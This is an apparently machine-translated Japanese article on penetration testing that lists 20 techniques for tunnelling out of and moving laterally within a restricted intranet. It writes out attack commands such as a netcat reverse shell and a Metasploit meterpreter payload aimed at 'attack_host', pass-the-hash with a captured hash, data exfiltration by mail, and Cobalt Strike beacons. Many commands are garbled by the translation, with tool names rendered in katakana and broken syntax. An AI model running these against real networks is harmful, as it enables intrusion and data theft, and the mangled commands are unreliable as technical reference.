
イントラネット環境に侵入することは、特にターゲット・ホストが外部ネットワークに直接アクセスできない場合、ペネトレーション・テストでは困難な作業となる。この場合、攻撃者は様々なテクニックやツールを使って、ネットワークから直接出ることなくイントラネットに侵入する必要があります。この記事では、ネットワークの外に出ることなくイントラネットに侵入するための一般的なテクニックを20個詳しく紹介しますので、参考にしてください。
I. トンネリングとエージェントベースのブレークアウト技術
(i) ポート転送ポート 転送)
ポート転送は、宛先ホストから中間ホストを経由して外部ネットワークにトラフィックを転送したり、トラフィックを誘導したりするためによく使われる手法です。一般的なポート転送方法には、次のようなものがあります:
- 1.ローカルポートフォワーディング(LPF)
攻撃者はターゲットホストから中間ホストを経由して攻撃者のローカルポートに特定のサービスを転送し、あたかもローカルであるかのようにこれらのサービスにアクセスする。例えば、攻撃対象のイントラネットにあるデータベース・サーバーへのアクセスは、SSHポートを経由して転送される:
エスエス -L 3306:192.168.1.100:3306 ユーザー@ミドルホスト
上記のコマンドは、ターゲットホスト192.168.1.100から攻撃者のローカルポート3306にMySQLサービス(ポート3306)を転送する。
- 2.リモートポートフォワーディング(RPF)
ターゲットホストが外部ネットワークにアクティブにアクセスできない場合、トラフィックはターゲットホストを経由して攻撃者のホストに逆転送される可能性がある。例
エスエス -R 8080ローカルホスト:80 ユーザー@アタック・ホスト
上記のコマンドは、ターゲット・ホストのローカルHTTPサービス(ポート80)を攻撃者ホストのポート8080に転送する。
(ii) プロキシトンネル(Proxy) トンネル)
プロキシトンネリングは、既存のホストやサービスを通してネットワーク制限を回避する方法である。一般的なプロキシトンネリングツールには次のようなものがある:
- 3.ソックス代理人
プロキシチェーンなどのツールを使って、プロキシサーバーを経由してトラフィックを転送する。例
プロキシチェーン nmap -sT -Pn internal_host
プロキシチェーン経由でプロキシを使用したイントラネットホストスキャン。
- 4.HTTPプロキシ
プロキシトンネルは、プロキシスクリプトをターゲットサーバーにアップロードすることで作成される。例えば、reGeorg やプロキシファイアはよく使われるプロキシトンネリングツールである。
(iii)DNSトンネリング(DNS) トンネリング)
DNSトンネリングは、DNSリクエストを使ってDNSクエリにデータを埋め込み、外部との通信を可能にする。HTTP、HTTPS、その他のトラフィックがブロックされても、DNSトラフィックは通常、完全に傍受されることはない。一般的に使用されるDNSトンネリングツールには、iodineやdnscat2がある。
- 5.ヨウ素を使ったDNSトンネリングの確立
攻撃者のホスト上で実行DNSサーバー::
ヨード -f -c -P パスワード 例ドットコム
ターゲットホスト上でクライアントを実行する:
ヨード -f -c -P パスワード 例ドットコム
データ転送はDNSトンネリングによって実現される。
(iv) ICMPトンネリング
ICMPトンネリングはデータ転送にICMPトラフィックを使用し、ファイアウォールをバイパスする。場合によっては、TCP/UDPトラフィックがブロックされていても、ICMP(Pingなど)を利用できることがある。一般的に使用されるICMPトンネリングツールには、Ptunnelとicmpshがある。
- 6.Ptunnelを使用したICMPトンネルの確立
攻撃者のホスト上でPtunnelを実行する:
プトンネル -p 80 -LP 22 -ダ 192.168.1.100 -dp 22
ターゲットホスト上でクライアントを実行する:
プトンネル -p 80 -LP 22 -ダ 192.168.1.100 -dp 22
データ転送はICMPトンネリングによって実現される。
II. イントラネット・サービスに基づくブレークスルー技術
(v) イントラネットの横移動
イントラネットの横方向への移動は、イントラネットに存在する脆弱なパスワード、パッチが適用されていない脆弱性、またはドメインアカウント権限を悪用して、他のイントラネットホストにアクセスするために使用される。例
- 7.使用するピーエスエグゼックリモート実行コマンド
ピーエスエグゼック.exe \192.168.1.100 -u ユーザー -p パスワード コマンド.exe
PsExec を介してリモートでコマンドを実行し、他のイントラネットホストにアクセスする。
- 8.パスザハッシュ攻撃
パスワード認証をバイパスして、キャプチャされたハッシュを使用する直接認証。例
pth-winexe -U user%hash //192.168.1.100 cmd.exe
pth-winexeツールによるPass-the-Hash攻撃。
(vi) イントラネット・サービスの利用
ターゲット・ホストが、データベース・サービスやファイル共有サービスなど、イントラネット特有のサービスを持っているかどうかをチェックし、それを通じてネットワーク制限を回避する方法を見つける。
- 9.イントラネット・データベース・サービスの利用
イントラネットのデータベースサービスを通じて外部ホストと通信する。たとえば、MySQL の LOAD DATA INFILE 関数を使用してデータをファイルシステムに書き込み、他の手段で転送する。
- 10.SMBトンネルの使用
イントラネットのファイル共有サービスを使って、SMBトンネル経由でデータを転送する。例
smbclient //192.168.1.100/share -U user
SMBクライアント経由でイントラネットのファイル共有サービスにアクセス。
(vii) メール、FTP、その他のプロトコルのネットワーク外への送信
イントラネット環境によっては、通常のHTTP/HTTPSアクセスはブロックしても、外部との通信には他のプロトコル(電子メールやFTPなど)を許可している場合がある。
- 11.SMTPプロトコルを使用した電子メールの送信
データはSMTPプロトコルで電子メールを送信することで送られる。例
エコー "流出させるデータ" | メール -s 件名 ユーザー例ドットコム
SMTPプロトコルでデータを送信する。
- 12.FTPを使用してファイルをアップロードまたはダウンロードする
FTPでファイルをアップロードまたはダウンロードします。例
エフティーピー -i 192.168.1.100
置く ファイル.txt
FTPでファイルをアップロードする。
III.逆接続に基づく画期的なテクニック
(H) 逆シェルと逆トンネリング
Reverse ShellおよびReverse Tunnelingは、ターゲットホストに攻撃者ホストへの接続を開始させることで、リターン接続を確立するために使用される。
- 13.Netcatでリバースシェルを作る
ターゲットホスト上で実行される:
エヌシー -e /bin/sh attack_host 4444
攻撃者のホストをリスニングする:
エヌシー -l-p 4444
リバースシェルを使って攻撃者のホストに接続する。
- 14.メタスプロイトでリバースシェルを作る
ターゲットホスト上で実行される:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attack_host LPORT=4444 -f exe -o shell.exe
攻撃者のホスト上で実行されている:
msfconsole -x "使用 exploit/マルチハンドラ; セット ペイロード windows/meterpreter/reverse_tcp. セット lhost attack_host. セット 港 4444走る"
Metasploitを使ってリバースシェルを作成する。
(コバルト・ストライクのトランジット機能
Cobalt Strikeは、イントラネット侵入でよく使われるツールで、そのSocksプロキシ機能は、ターゲットホストがエクストラネットにアクセスできない場合、トランジット機能を通じてプロキシ接続を確立することができる。
- 15.コバルト・ストライクを使ったソックス・プロキシ
ターゲットホスト上でBeaconを実行し、Socksプロキシ機能を使ってプロキシ接続を確立する。例
ソックス 8080
攻撃者ホストのプロキシツールを使用して、ターゲットホストに接続する。
(x) SMBビーコン
SMBビーコンは、Cobalt Strikeの特別な機能で、Windowsの名前付きパイプ比較的ステルスでコミュニケーションをとる。
- 16.SMBビーコンの使用
SMBのリスナーを作成した後、メイン・ビーコン上のサブ・ビーコンをリンクまたは切断することができる:
ビーコン> エスエムビー 192.168.1.100 445
接続はSMB Beacon経由で確立される。
IV.ツールとスクリプトに基づくブレークスルー技術
(xi) 再ジョーグと新ジョーグ
reGeorgはよく使われるプロキシトンネリングツールで、対象サーバーのウェブディレクトリにスクリプトをアップロードすることでプロキシトンネルを確立する。
- 17.reGeorgを使ったプロキシトンネリングの確立
対象サーバーに reGeorg スクリプトをアップロードします:
curl -o proxy.py http.//example.com/reGeorg.py
攻撃者のホスト上でプロキシクライアントを実行する:
パイソン proxy.py -s http://192.168.1.100/reGeorg.py -l 8080 -r 192.168.1.200:80
reGeorg経由のプロキシトンネリング。
(ピスティンガー
Pystingerは、WebShell経由でイントラネットのSOCK4プロキシを実装し、ポートマッピングによって、ターゲットがネットワークを離れることなくオンラインになることを可能にする。
- 18.ピスティンガーを使ったプロキシの確立
stinger_server.exeを対象サーバにアップロードし、公開VPS上でstinger_clientを実行してプロキシ接続を確立する。例
パイソン スティンガークライアント.py -s 192.168.1.100 -p 8080 -l 8081
プロキシ接続はPystingerを通じて確立される。
(xiii) Frp
Frpは、ターゲットホストがエクストラネットにアクセスできない場合に、制御されたデュアルネットワークカードのイントラネットサーバーを介してチャネルを確立することができるイントラネット侵入ツールである。
- 19.Frpによるイントラネット浸透の確立
ターゲットホスト上でFrpクライアントを実行する:
./frpcc frpc.ini
攻撃者のホストでFrpサーバーを実行する:
./frpsc frps.ini
Frpを通じてイントラネットへの浸透を図る。
(xiv) その他のツールとスクリプト
上記のツールのほかにも、ネットワークシナリオから外れることなくイントラネットから抜け出すために使用できるツールやスクリプトが多数ある。
- 20.ノミによるトンネル掘削
Chiselは、イントラネットへの侵入に使用できる軽量のトンネリングツールです。例
ターゲットホスト上で実行される:
./クライアント --リバース attack_host。8080 R.8081:localhost.80
攻撃者のホスト上で実行されている:
./chisel server --port 8080 --リバース
チゼルを貫くトンネル。